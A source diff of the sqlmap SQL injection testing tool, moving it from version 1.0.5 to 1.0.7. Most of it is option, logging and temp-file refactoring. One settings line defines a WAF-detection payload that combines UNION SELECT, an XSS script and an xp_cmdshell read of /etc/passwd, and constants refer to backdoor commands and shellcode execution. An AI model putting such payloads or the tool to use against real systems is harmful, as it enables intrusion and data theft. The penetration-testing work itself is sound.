+                               "skipWaf":           "boolean",
                               "smart":             "boolean",
+                               "tmpDir":            "string",
                               "wizard":            "boolean",
                               "verbose":           "integer",
                             },
            "Hidden": {
                               "dummy":             "boolean",
                               "disablePrecon":     "boolean",
-                               "binaryFields":      "string",
                               "profile":           "boolean",
                               "forceDns":          "boolean",
-                               "identifyWaf":       "boolean",
-                               "skipWaf":           "boolean",
                               "ignore401":         "boolean",
                               "smokeTest":         "boolean",
                               "liveTest":          "boolean",
@@ -32,6 +32,8 @@ def setDbms(dbms):
        dbms = _.group(1)

    Backend.setDbms(dbms)
+    if kb.resolutionDbms:
+        hashDBWrite(HASHDB_KEYS.DBMS, kb.resolutionDbms)

    logger.info("the back-end DBMS is %s" % Backend.getDbms())

@@ -19,7 +19,7 @@ from lib.core.enums import OS
 from lib.core.revision import getRevisionNumber

 # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
-VERSION = "1.0.5.0"
+VERSION = "1.0.7.0"
 REVISION = getRevisionNumber()
 STABLE = VERSION.count('.') <= 2
 VERSION_STRING = "sqlmap/%s#%s" % (VERSION, "stable" if STABLE else "dev")
@@ -69,6 +69,9 @@ PAYLOAD_DELIMITER = "__PAYLOAD_DELIMITER__"
 CHAR_INFERENCE_MARK = "%c"
 PRINTABLE_CHAR_REGEX = r"[^\x00-\x1f\x7f-\xff]"

+# Regular expression used for extraction of table names (useful for (e.g.) MsAccess)
+SELECT_FROM_TABLE_REGEX = r"\bSELECT .+? FROM (?P<result>[\w.]+)\b"
+
 # Regular expression used for recognition of textual content-type
 TEXT_CONTENT_TYPE_REGEX = r"(?i)(text|form|message|xml|javascript|ecmascript|json)"

@@ -130,6 +133,9 @@ HTTP_ACCEPT_ENCODING_HEADER_VALUE = "gzip,deflate"
 # Default timeout for running commands over backdoor
 BACKDOOR_RUN_CMD_TIMEOUT = 5

+# Number of seconds to wait for thread finalization at program end
+THREAD_FINALIZATION_TIMEOUT = 1
+
 # Maximum number of techniques used in inject.py/getValue() per one value
 MAX_TECHNIQUES_PER_VALUE = 2

@@ -281,12 +287,16 @@ BLANK = "<blank>"
 # String representation for current database
 CURRENT_DB = "CD"

+# Regular expressions used for finding file paths in error messages
+FILE_PATH_REGEXES = (r" in (file )?<b>(?P<result>.*?)</b> on line", r"(?:[>(\[\s])(?P<result>[A-Za-z]:[\\/][\w.\\/-]*)", r"(?:[>(\[\s])(?P<result>/\w[/\w.-]+)", r"href=['\"]file://(?P<result>/[^'\"]+)")
+
 # Regular expressions used for parsing error messages (--parse-errors)
 ERROR_PARSING_REGEXES = (
                          r"<b>[^<]*(fatal|error|warning|exception)[^<]*</b>:?\s*(?P<result>.+?)<br\s*/?\s*>",
-                          r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>.+?)$",
+                          r"(?m)^(fatal|error|warning|exception):?\s*(?P<result>[^\n]+?)$",
                          r"<li>Error Type:<br>(?P<result>.+?)</li>",
                          r"error '[0-9a-f]{8}'((<[^>]+>)|\s)+(?P<result>[^<>]+)",
+                          r"(?m)^\s*\[[^\n]+(ODBC|JDBC)[^\n]+\](?P<result>[^\]]+in query expression[^\n]+)$"
                        )

 # Regular expression used for parsing charset info from meta html headers
@@ -456,8 +466,8 @@ BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
 # Template used for common column existence check
 BRUTE_COLUMN_EXISTS_TEMPLATE = "EXISTS(SELECT %s FROM %s)"

-# Payload used for checking of existence of IDS/WAF (dummier the better)
-IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,2,3,table_name FROM information_schema.tables WHERE 2>1-- ../../../etc/passwd"
+# Payload used for checking of existence of IDS/IPS/WAF (dummier the better)
+IDS_WAF_CHECK_PAYLOAD = "AND 1=1 UNION ALL SELECT 1,NULL,'<script>alert(\"XSS\")</script>',table_name FROM information_schema.tables WHERE 2>1--/**/; EXEC xp_cmdshell('cat ../../../etc/passwd')#"

 # Data inside shellcodeexec to be filled with random string
 SHELLCODEEXEC_RANDOM_STRING_MARKER = "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX"
@@ -530,7 +540,7 @@ HASHDB_FLUSH_RETRIES = 3
 HASHDB_END_TRANSACTION_RETRIES = 3

 # Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
-HASHDB_MILESTONE_VALUE = "WVMqopmuzX"  # "".join(random.sample(string.ascii_letters, 10))
+HASHDB_MILESTONE_VALUE = "pGBhWXgbtJ"  # import random, string; print "".join(random.sample(string.ascii_letters, 10))

 # Warn user of possible delay due to large page dump in full UNION query injections
 LARGE_OUTPUT_THRESHOLD = 1024 ** 2
@@ -559,6 +569,9 @@ HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')
 # String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
 DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"

+# Regular expression used for recognition of file inclusion errors
+FI_ERROR_REGEX = "(?i)[^\n]*(no such file|failed (to )?open)[^\n]*"
+
 # Length of prefix and suffix used in non-SQLI heuristic checks
 NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6

@@ -568,6 +581,9 @@ MAX_CONNECTION_CHUNK_SIZE = 10 * 1024 * 1024
 # Maximum response total page size (trimmed if larger)
 MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024

+# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
+MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
+
 # Maximum (multi-threaded) length of entry in bisection algorithm
 MAX_BISECTION_LENGTH = 50 * 1024 * 1024

@@ -584,7 +600,7 @@ VALID_TIME_CHARS_RUN_THRESHOLD = 100
 CHECK_ZERO_COLUMNS_THRESHOLD = 10

 # Boldify all logger messages containing these "patterns"
-BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved", "CloudFlare")
+BOLD_PATTERNS = ("' injectable", "provided empty", "leftover chars", "might be injectable", "' is vulnerable", "is not injectable", "test failed", "test passed", "live test final result", "test shows that", "the back-end DBMS is", "created Github", "blocked by the target server", "protection is involved")

 # Generic www root directory names
 GENERIC_DOC_ROOT_DIRECTORY_NAMES = ("htdocs", "httpdocs", "public", "wwwroot", "www")
@@ -596,7 +612,7 @@ MAX_HELP_OPTION_LENGTH = 18
 MAX_CONNECT_RETRIES = 100

 # Strings for detecting formatting errors
-FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Failed to convert", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal")
+FORMAT_EXCEPTION_STRINGS = ("Type mismatch", "Error converting", "Conversion failed", "String or binary data would be truncated", "Failed to convert", "unable to interpret text value", "Input string was not in a correct format", "System.FormatException", "java.lang.NumberFormatException", "ValueError: invalid literal", "DataTypeMismatchException", "CF_SQL_INTEGER", "InvalidParamTypeException", "Invalid parameter type")

 # Regular expression used for extracting ASP.NET view state values
 VIEWSTATE_REGEX = r'(?i)(?P<name>__VIEWSTATE[^"]*)[^>]+value="(?P<result>[^"]+)'
@@ -677,7 +693,7 @@ BRUTE_DOC_ROOT_PREFIXES = {
 }

 # Suffixes used in brute force search for web server document root
-BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "data", "sites/all", "www/build")
+BRUTE_DOC_ROOT_SUFFIXES = ("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "www", "data", "sites/all", "www/build")

 # String used for marking target name inside used brute force web server document root
 BRUTE_DOC_ROOT_TARGET_MARK = "%TARGET%"
@@ -21,6 +21,7 @@ from lib.core.common import intersect
 from lib.core.common import normalizeUnicode
 from lib.core.common import openFile
 from lib.core.common import paramToDict
+from lib.core.common import randomStr
 from lib.core.common import readInput
 from lib.core.common import resetCookieJar
 from lib.core.common import urldecode
@@ -35,6 +36,7 @@ from lib.core.dump import dumper
 from lib.core.enums import HASHDB_KEYS
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import HTTPMETHOD
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.enums import PLACE
 from lib.core.enums import POST_HINT
 from lib.core.exception import SqlmapFilePathException
@@ -214,9 +216,9 @@ def _setRequestParams():

    if re.search(URI_INJECTABLE_REGEX, conf.url, re.I) and not any(place in conf.parameters for place in (PLACE.GET, PLACE.POST)) and not kb.postHint and not CUSTOM_INJECTION_MARK_CHAR in (conf.data or "") and conf.url.startswith("http"):
        warnMsg = "you've provided target URL without any GET "
-        warnMsg += "parameters (e.g. www.site.com/article.php?id=1) "
+        warnMsg += "parameters (e.g. 'http://www.site.com/article.php?id=1') "
        warnMsg += "and without providing any POST parameters "
-        warnMsg += "through --data option"
+        warnMsg += "through option '--data'"
        logger.warn(warnMsg)

        message = "do you want to try URI injections "
@@ -370,7 +372,7 @@ def _setRequestParams():
        raise SqlmapGenericException(errMsg)

    if conf.csrfToken:
-        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
+        if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))) and not re.search(r"\b%s\b" % re.escape(conf.csrfToken), conf.data or "") and not conf.csrfToken in set(_[0].lower() for _ in conf.httpHeaders) and not conf.csrfToken in conf.paramDict.get(PLACE.COOKIE, {}):
            errMsg = "anti-CSRF token parameter '%s' not " % conf.csrfToken
            errMsg += "found in provided GET, POST, Cookie or header values"
            raise SqlmapGenericException(errMsg)
@@ -531,7 +533,7 @@ def _setResultsFile():
        except (OSError, IOError), ex:
            try:
                warnMsg = "unable to create results file '%s' ('%s'). " % (conf.resultsFilename, getUnicode(ex))
-                conf.resultsFilename = tempfile.mkstemp(prefix="sqlmapresults-", suffix=".csv")[1]
+                conf.resultsFilename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.RESULTS, suffix=".csv")[1]
                conf.resultsFP = openFile(conf.resultsFilename, "w+", UNICODE_ENCODING, buffering=0)
                warnMsg += "Using temporary file '%s' instead" % conf.resultsFilename
                logger.warn(warnMsg)
@@ -542,7 +544,7 @@ def _setResultsFile():
                errMsg += "create temporary files and/or directories"
                raise SqlmapSystemException(errMsg)

-        conf.resultsFP.writelines("Target URL,Place,Parameter,Techniques%s" % os.linesep)
+        conf.resultsFP.writelines("Target URL,Place,Parameter,Technique(s),Note(s)%s" % os.linesep)

        logger.info("using '%s' as the CSV results file in multiple targets mode" % conf.resultsFilename)

@@ -603,28 +605,33 @@ def _createTargetDirs():
    Create the output directory.
    """

-    if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
-        try:
-            if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
-                os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
+    try:
+        if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH):
+            os.makedirs(paths.SQLMAP_OUTPUT_PATH, 0755)
+
+        _ = os.path.join(paths.SQLMAP_OUTPUT_PATH, randomStr())
+        open(_, "w+b").close()
+        os.remove(_)
+
+        if conf.outputDir:
            warnMsg = "using '%s' as the output directory" % paths.SQLMAP_OUTPUT_PATH
            logger.warn(warnMsg)
-        except (OSError, IOError), ex:
-            try:
-                tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
-            except Exception, _:
-                errMsg = "unable to write to the temporary directory ('%s'). " % _
-                errMsg += "Please make sure that your disk is not full and "
-                errMsg += "that you have sufficient write permissions to "
-                errMsg += "create temporary files and/or directories"
-                raise SqlmapSystemException(errMsg)
+    except (OSError, IOError), ex:
+        try:
+            tempDir = tempfile.mkdtemp(prefix="sqlmapoutput")
+        except Exception, _:
+            errMsg = "unable to write to the temporary directory ('%s'). " % _
+            errMsg += "Please make sure that your disk is not full and "
+            errMsg += "that you have sufficient write permissions to "
+            errMsg += "create temporary files and/or directories"
+            raise SqlmapSystemException(errMsg)

-            warnMsg = "unable to create regular output directory "
-            warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
-            warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
-            logger.warn(warnMsg)
+        warnMsg = "unable to %s output directory " % ("create" if not os.path.isdir(paths.SQLMAP_OUTPUT_PATH) else "write to the")
+        warnMsg += "'%s' (%s). " % (paths.SQLMAP_OUTPUT_PATH, getUnicode(ex))
+        warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
+        logger.warn(warnMsg)

-            paths.SQLMAP_OUTPUT_PATH = tempDir
+        paths.SQLMAP_OUTPUT_PATH = tempDir

    conf.outputPath = os.path.join(getUnicode(paths.SQLMAP_OUTPUT_PATH), normalizeUnicode(getUnicode(conf.hostname)))

@@ -25,6 +25,7 @@ from lib.core.common import readXmlFile
 from lib.core.data import conf
 from lib.core.data import logger
 from lib.core.data import paths
+from lib.core.enums import MKSTEMP_PREFIX
 from lib.core.exception import SqlmapBaseException
 from lib.core.exception import SqlmapNotVulnerableException
 from lib.core.log import LOGGER_HANDLER
@@ -235,7 +236,7 @@ def initCase(switches, count):
    Failures.failedParseOn = None
    Failures.failedTraceBack = None

-    paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="sqlmaptest-%d-" % count)
+    paths.SQLMAP_OUTPUT_PATH = tempfile.mkdtemp(prefix="%s%d-" % (MKSTEMP_PREFIX.TESTING, count))
    paths.SQLMAP_DUMP_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "dump")
    paths.SQLMAP_FILES_PATH = os.path.join(paths.SQLMAP_OUTPUT_PATH, "%s", "files")

@@ -44,6 +44,7 @@ class _ThreadData(threading.local):
        self.inTransaction = False
        self.lastComparisonPage = None
        self.lastComparisonHeaders = None
+        self.lastComparisonCode = None
        self.lastErrorPage = None
        self.lastHTTPError = None
        self.lastRedirectMsg = None
@@ -201,7 +202,7 @@ def runThreads(numThreads, threadFunction, cleanupFunction=None, forwardExceptio
        kb.threadException = False

        for lock in kb.locks.values():
-            if lock.locked_lock():
+            if lock.locked():
                try:
                    lock.release()
                except thread.error:
@@ -44,7 +44,7 @@ class Wordlist(object):
                try:
                    _ = zipfile.ZipFile(self.current, 'r')
                except zipfile.error, ex:
-                    errMsg = "something seems to be wrong with "
+                    errMsg = "something appears to be wrong with "
                    errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                    errMsg += "sure that you haven't made any changes to it"
                    raise SqlmapInstallationException, errMsg
@@ -70,7 +70,7 @@ class Wordlist(object):
            try:
                retVal = self.iter.next().rstrip()
            except zipfile.error, ex:
-                errMsg = "something seems to be wrong with "
+                errMsg = "something appears to be wrong with "
                errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                errMsg += "sure that you haven't made any changes to it"
                raise SqlmapInstallationException, errMsg
@@ -17,6 +17,7 @@ from optparse import SUPPRESS_HELP

 from lib.core.common import checkDeprecatedOptions
 from lib.core.common import checkSystemEncoding
+from lib.core.common import dataToStdout
 from lib.core.common import expandMnemonics
 from lib.core.common import getUnicode
 from lib.core.data import cmdLineOptions
@@ -30,6 +31,7 @@ from lib.core.settings import BASIC_HELP_ITEMS
 from lib.core.settings import DUMMY_URL
 from lib.core.settings import IS_WIN
 from lib.core.settings import MAX_HELP_OPTION_LENGTH
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import VERSION_STRING
 from lib.core.shell import autoCompletion
 from lib.core.shell import clearHistory
@@ -46,7 +48,7 @@ def cmdLineParser(argv=None):

    checkSystemEncoding()

-    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.getfilesystemencoding())
+    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)

    usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
            "\"%s\"" % _ if " " in _ else _)
@@ -464,6 +466,9 @@ def cmdLineParser(argv=None):
                               help="Exclude DBMS system databases when "
                                    "enumerating tables")

+        enumeration.add_option("--pivot-column", dest="pivotColumn",
+                               help="Pivot column name")
+
        enumeration.add_option("--where", dest="dumpWhere",
                               help="Use WHERE condition while table dumping")

@@ -617,6 +622,9 @@ def cmdLineParser(argv=None):
                            action="store_true",
                            help="Never ask for user input, use the default behaviour")

+        general.add_option("--binary-fields", dest="binaryFields",
+                          help="Result fields having binary values (e.g. \"digest\")")
+
        general.add_option("--charset", dest="charset",
                            help="Force character encoding used for data retrieval")

@@ -662,9 +670,6 @@ def cmdLineParser(argv=None):
                                  action="store_true",
                                  help="Parse and display DBMS error messages from responses")

-        general.add_option("--pivot-column", dest="pivotColumn",
-                               help="Pivot column name")
-
        general.add_option("--save", dest="saveConfig",
                            help="Save options to a configuration INI file")

@@ -716,10 +721,6 @@ def cmdLineParser(argv=None):
                                  action="store_true",
                                  help="Make a thorough testing for a WAF/IPS/IDS protection")

-        miscellaneous.add_option("--skip-waf", dest="skipWaf",
-                                  action="store_true",
-                                  help="Skip heuristic detection of WAF/IPS/IDS protection")
-
        miscellaneous.add_option("--mobile", dest="mobile",
                                  action="store_true",
                                  help="Imitate smartphone through HTTP User-Agent header")
@@ -736,12 +737,19 @@ def cmdLineParser(argv=None):
                                  action="store_true",
                                  help="Safely remove all content from output directory")

+        miscellaneous.add_option("--skip-waf", dest="skipWaf",
+                                  action="store_true",
+                                  help="Skip heuristic detection of WAF/IPS/IDS protection")
+
        miscellaneous.add_option("--smart", dest="smart",
                                  action="store_true",
                                  help="Conduct thorough tests only if positive heuristic(s)")

        miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
-                            help="Prompt for an interactive sqlmap shell")
+                                  help="Prompt for an interactive sqlmap shell")
+
+        miscellaneous.add_option("--tmp-dir", dest="tmpDir",
+                                  help="Local directory for storing temporary files")

        miscellaneous.add_option("--wizard", dest="wizard",
                                  action="store_true",
@@ -760,9 +768,6 @@ def cmdLineParser(argv=None):
        parser.add_option("--profile", dest="profile", action="store_true",
                          help=SUPPRESS_HELP)

-        parser.add_option("--binary-fields", dest="binaryFields",
-                          help=SUPPRESS_HELP)
-
        parser.add_option("--force-dns", dest="forceDns", action="store_true",
                          help=SUPPRESS_HELP)

@@ -806,12 +811,12 @@ def cmdLineParser(argv=None):
        parser.formatter._format_option_strings = parser.formatter.format_option_strings
        parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser, type(parser))

-        # Dirty hack for making a short option -hh
+        # Dirty hack for making a short option '-hh'
        option = parser.get_option("--hh")
        option._short_opts = ["-hh"]
        option._long_opts = []

-        # Dirty hack for inherent help message of switch -h
+        # Dirty hack for inherent help message of switch '-h'
        option = parser.get_option("-h")
        option.help = option.help.capitalize().replace("this help", "basic help")

@@ -821,7 +826,7 @@ def cmdLineParser(argv=None):
        extraHeaders = []

        for arg in argv:
-            _.append(getUnicode(arg, encoding=sys.getfilesystemencoding()))
+            _.append(getUnicode(arg, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING))

        argv = _
        checkDeprecatedOptions(argv)
@@ -859,13 +864,13 @@ def cmdLineParser(argv=None):
                    continue
                elif command.lower() == "clear":
                    clearHistory()
-                    print "[i] history cleared"
+                    dataToStdout("[i] history cleared\n")
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                elif command.lower() in ("x", "q", "exit", "quit"):
                    raise SqlmapShellQuitException
                elif command[0] != '-':
-                    print "[!] invalid option(s) provided"
-                    print "[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'"
+                    dataToStdout("[!] invalid option(s) provided\n")
+                    dataToStdout("[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'\n")
                else:
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                    loadHistory(AUTOCOMPLETE_TYPE.SQLMAP)
@@ -882,7 +887,8 @@ def cmdLineParser(argv=None):
            if argv[i] == "-hh":
                argv[i] = "-h"
            elif re.search(r"\A-\w=.+", argv[i]):
-                print "[!] potentially miswritten (illegal '=') short option detected ('%s')" % argv[i]
+                dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
+                raise SystemExit
            elif argv[i] == "-H":
                if i + 1 < len(argv):
                    extraHeaders.append(argv[i + 1])
@@ -907,11 +913,11 @@ def cmdLineParser(argv=None):
        try:
            (args, _) = parser.parse_args(argv)
        except UnicodeEncodeError, ex:
-            print "\n[!] %s" % ex.object.encode("unicode-escape")
+            dataToStdout("\n[!] %s\n" % ex.object.encode("unicode-escape"))
            raise SystemExit
        except SystemExit:
            if "-h" in argv and not advancedHelp:
-                print "\n[!] to see full list of options run with '-hh'"
+                dataToStdout("\n[!] to see full list of options run with '-hh'\n")
            raise

        if extraHeaders:
@@ -943,7 +949,7 @@ def cmdLineParser(argv=None):
    except SystemExit:
        # Protection against Windows dummy double clicking
        if IS_WIN:
-            print "\nPress Enter to continue...",
+            dataToStdout("\nPress Enter to continue...")
            raw_input()
        raise

@@ -74,7 +74,7 @@ def loadBoundaries():
    try:
        doc = et.parse(paths.BOUNDARIES_XML)
    except Exception, ex:
-        errMsg = "something seems to be wrong with "
+        errMsg = "something appears to be wrong with "
        errMsg += "the file '%s' ('%s'). Please make " % (paths.BOUNDARIES_XML, getSafeExString(ex))
        errMsg += "sure that you haven't made any changes to it"
        raise SqlmapInstallationException, errMsg
@@ -92,7 +92,7 @@ def loadPayloads():
        try:
            doc = et.parse(payloadFilePath)
        except Exception, ex:
-            errMsg = "something seems to be wrong with "
+            errMsg = "something appears to be wrong with "
            errMsg += "the file '%s' ('%s'). Please make " % (payloadFilePath, getSafeExString(ex))
            errMsg += "sure that you haven't made any changes to it"
            raise SqlmapInstallationException, errMsg
@@ -13,6 +13,7 @@ import StringIO
 import struct
 import zlib

+from lib.core.common import Backend
 from lib.core.common import extractErrorMessage
 from lib.core.common import extractRegexResult
 from lib.core.common import getPublicTypeMembers
@@ -25,6 +26,7 @@ from lib.core.common import singleTimeWarnMessage
 from lib.core.data import conf
 from lib.core.data import kb
 from lib.core.data import logger
+from lib.core.enums import DBMS
 from lib.core.enums import HTTP_HEADER
 from lib.core.enums import PLACE
 from lib.core.exception import SqlmapCompressionException
@@ -34,6 +36,7 @@ from lib.core.settings import EVENTVALIDATION_REGEX
 from lib.core.settings import MAX_CONNECTION_TOTAL_SIZE
 from lib.core.settings import META_CHARSET_REGEX
 from lib.core.settings import PARSE_HEADERS_LIMIT
+from lib.core.settings import SELECT_FROM_TABLE_REGEX
 from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import VIEWSTATE_REGEX
 from lib.parse.headers import headersParser
@@ -91,7 +94,7 @@ def forgeHeaders(items=None):
                if cookie.domain_specified and not conf.hostname.endswith(cookie.domain):
                    continue

-                if ("%s=" % cookie.name) in headers[HTTP_HEADER.COOKIE]:
+                if ("%s=" % getUnicode(cookie.name)) in headers[HTTP_HEADER.COOKIE]:
                    if conf.loadCookies:
                        conf.httpHeaders = filter(None, ((item if item[0] != HTTP_HEADER.COOKIE else None) for item in conf.httpHeaders))
                    elif kb.mergeCookies is None:
@@ -103,7 +106,7 @@ def forgeHeaders(items=None):
                        kb.mergeCookies = not _ or _[0] in ("y", "Y")

                    if kb.mergeCookies and kb.injection.place != PLACE.COOKIE:
-                        _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(cookie.name), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (cookie.name, getUnicode(cookie.value))).replace('\\', r'\\'), x)
+                        _ = lambda x: re.sub(r"(?i)\b%s=[^%s]+" % (re.escape(getUnicode(cookie.name)), conf.cookieDel or DEFAULT_COOKIE_DELIMITER), ("%s=%s" % (getUnicode(cookie.name), getUnicode(cookie.value))).replace('\\', r'\\'), x)
                        headers[HTTP_HEADER.COOKIE] = _(headers[HTTP_HEADER.COOKIE])

                        if PLACE.COOKIE in conf.parameters:
@@ -112,7 +115,7 @@ def forgeHeaders(items=None):
                        conf.httpHeaders = [(item[0], item[1] if item[0] != HTTP_HEADER.COOKIE else _(item[1])) for item in conf.httpHeaders]

                elif not kb.testMode:
-                    headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, cookie.name, getUnicode(cookie.value))
+                    headers[HTTP_HEADER.COOKIE] += "%s %s=%s" % (conf.cookieDel or DEFAULT_COOKIE_DELIMITER, getUnicode(cookie.name), getUnicode(cookie.value))

        if kb.testMode and not any((conf.csrfToken, conf.safeUrl)):
            resetCookieJar(conf.cj)
@@ -258,15 +261,16 @@ def decodePage(page, contentEncoding, contentType):

            page = data.read()
        except Exception, msg:
-            errMsg = "detected invalid data for declared content "
-            errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg)
-            singleTimeLogMessage(errMsg, logging.ERROR)
+            if "<html" not in page:  # in some cases, invalid "Content-Encoding" appears for plain HTML (should be ignored)
+                errMsg = "detected invalid data for declared content "
+                errMsg += "encoding '%s' ('%s')" % (contentEncoding, msg)
+                singleTimeLogMessage(errMsg, logging.ERROR)

-            warnMsg = "turning off page compression"
-            singleTimeWarnMessage(warnMsg)
+                warnMsg = "turning off page compression"
+                singleTimeWarnMessage(warnMsg)

-            kb.pageCompress = False
-            raise SqlmapCompressionException
+                kb.pageCompress = False
+                raise SqlmapCompressionException

    if not conf.charset:
        httpCharset, metaCharset = None, None
@@ -330,11 +334,14 @@ def processResponse(page, responseHeaders):

    parseResponse(page, responseHeaders if kb.processResponseCounter < PARSE_HEADERS_LIMIT else None)

+    if not kb.tableFrom and Backend.getIdentifiedDbms() in (DBMS.ACCESS,):
+        kb.tableFrom = extractRegexResult(SELECT_FROM_TABLE_REGEX, page)
+
    if conf.parseErrors:
        msg = extractErrorMessage(page)

        if msg:
-            logger.warning("parsed DBMS error message: '%s'" % msg)
+            logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.'))

    if kb.originalPage is None:
        for regex in (EVENTVALIDATION_REGEX, VIEWSTATE_REGEX):
@@ -347,6 +354,14 @@ def processResponse(page, responseHeaders):
                    conf.paramDict[PLACE.POST][name] = value
                conf.parameters[PLACE.POST] = re.sub("(?i)(%s=)[^&]+" % name, r"\g<1>%s" % value, conf.parameters[PLACE.POST])

+    if not kb.captchaDetected and re.search(r"(?i)captcha", page or ""):
+        for match in re.finditer(r"(?si)<form.+?</form>", page):
+            if re.search(r"(?i)captcha", match.group(0)):
+                kb.captchaDetected = True
+                warnMsg = "potential CAPTCHA protection mechanism detected"
+                singleTimeWarnMessage(warnMsg)
+                break
+
    if re.search(BLOCKED_IP_REGEX, page):
-        errMsg = "it appears that you have been blocked by the target server"
-        singleTimeLogMessage(errMsg, logging.ERROR)
+        warnMsg = "it appears that you have been blocked by the target server"
+        singleTimeWarnMessage(warnMsg)
@@ -21,6 +21,7 @@ from lib.core.settings import DEFAULT_PAGE_ENCODING
 from lib.core.settings import DIFF_TOLERANCE
 from lib.core.settings import HTML_TITLE_REGEX
 from lib.core.settings import MIN_RATIO
+from lib.core.settings import MAX_DIFFLIB_SEQUENCE_LENGTH
 from lib.core.settings import MAX_RATIO
 from lib.core.settings import REFLECTED_VALUE_MARKER
 from lib.core.settings import LOWER_RATIO_BOUND
@@ -49,12 +50,11 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
    if kb.testMode:
        threadData.lastComparisonHeaders = listToStrValue(headers.headers) if headers else ""
        threadData.lastComparisonPage = page
+        threadData.lastComparisonCode = code

    if page is None and pageLength is None:
        return None

-    count = 0
-
    seqMatcher = threadData.seqMatcher
    seqMatcher.set_seq1(kb.pageTemplate)

@@ -109,59 +109,37 @@ def _comparison(page, headers, code, getRatioValue, pageLength):
        elif isinstance(seqMatcher.a, unicode) and isinstance(page, str):
            seqMatcher.a = seqMatcher.a.encode(kb.pageEncoding or DEFAULT_PAGE_ENCODING, 'ignore')

-        seq1, seq2 = None, None
-
-        if conf.titles:
-            seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
-            seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
+        if seqMatcher.a and page and seqMatcher.a == page:
+            ratio = 1
+        elif kb.skipSeqMatcher or seqMatcher.a and page and any(len(_) > MAX_DIFFLIB_SEQUENCE_LENGTH for _ in (seqMatcher.a, page)):
+            ratio = 1.0 * len(seqMatcher.a) / len(page)
+            if ratio > 1:
+                ratio = 1. / ratio
        else:
-            seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
-            seq2 = getFilteredPageContent(page, True) if conf.textOnly else page
+            seq1, seq2 = None, None

-        if seq1 is None or seq2 is None:
-            return None
-
-        seq1 = seq1.replace(REFLECTED_VALUE_MARKER, "")
-        seq2 = seq2.replace(REFLECTED_VALUE_MARKER, "")
-
-        while count < min(len(seq1), len(seq2)):
-            if seq1[count] == seq2[count]:
-                count += 1
+            if conf.titles:
+                seq1 = extractRegexResult(HTML_TITLE_REGEX, seqMatcher.a)
+                seq2 = extractRegexResult(HTML_TITLE_REGEX, page)
            else:
-                break
+                seq1 = getFilteredPageContent(seqMatcher.a, True) if conf.textOnly else seqMatcher.a
+                seq2 = getFilteredPageContent(page, True) if conf.textOnly else page

-        if count:
-            try:
-                _seq1 = seq1[count:]
-                _seq2 = seq2[count:]
-            except MemoryError:
-                pass
-            else:
-                seq1 = _seq1
-                seq2 = _seq2
